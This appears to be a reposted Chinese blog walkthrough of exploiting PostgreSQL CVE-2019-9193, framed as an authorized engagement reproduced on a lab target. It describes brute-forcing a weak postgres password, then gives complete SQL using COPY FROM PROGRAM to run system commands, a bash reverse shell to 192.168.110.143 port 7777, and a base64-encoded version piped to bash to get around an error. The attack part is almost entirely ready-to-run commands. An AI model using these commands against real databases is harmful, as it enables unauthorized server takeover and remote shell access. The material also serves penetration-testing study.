当前位置: 首页 > article >正文

PostgreSQL 任意命令执行漏洞(CVE-2019-9193)

记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。

使用靶机复现攻击过程。

过程

在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1

随后连接进PostgreSql

已知从9.3版本开始,postgresql新增copy to/from program功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

利用条件:

  • 超级用户权限
  • 版本9.3-11.2

默认数据库postgres已经是超级用户权限,然后需要确认数据库版本

查看PostgreSql版本

以上两个条件均具备,说明该漏洞可以利用

执行命令,获取用户id及群组id

-- 先删除你想要使用但是已经存在的表

DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数

COPY cmd_exec FROM PROGRAM 'id';

-- 查看执行结果

SELECT * FROM cmd_exec;

命令可以正常执行,随后执行反弹shell命令尝试获取交互shell

控制端使用nc开启监听

在数据库中执行如下命令

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1';

SELECT * FROM cmd_exec;

在实战中使用上述命令可以正常反弹shell,但是在靶场中执行会产生报错信息ERROR: program "/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1" failed

DETAIL: child process exited with exit code 2

尝试对反弹shell命令进行编码

echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';

SELECT * FROM cmd_exec;

执行后成功获取到shell


http://www.kler.cn/news/337435.html

相关文章:

  • 嵌入式硬件设计
  • 解锁手机截屏新姿势,五大技巧让你成为屏幕捕手
  • C语言期中自测试卷
  • 云原生(四十九) | WordPress源码部署
  • 自动驾驶系列—揭秘毫米波雷达:自动驾驶的眼睛如何看穿复杂环境?
  • 深度学习:基于MindSpore实现ResNet50中药分拣
  • 【无人机设计与技术】基于EKF的四旋翼无人机姿态估计matlab仿真
  • 【实战教程】SpringBoot全面指南:快速上手到项目实战(SpringBoot)
  • 【大数据应用开发】2023年全国职业院校技能大赛赛题第02套
  • MySQL进阶学习一(2024.10.07版)
  • 开放式耳机是什么意思?分享几款适合各类运动佩戴的蓝牙耳机
  • javascript中null和undefined的区别
  • 小米路由器ax1500+DDNS+公网IP+花生壳实现远程访问
  • 普通人也能看懂的大语言模型入门,不要错过哦
  • 思科防火墙:ASA中Object-group在ACL中的应用
  • 前端练习小项目 —— 让图片变得更 “色”
  • Redis位图BitMap
  • 【Linux】如何用shell脚本一键安装Java和Maven环境
  • 【60天备战2024年11月软考高级系统架构设计师——第39天:性能优化与高可用设计】
  • EventSource是什么,和axios区别,以及SSE是什么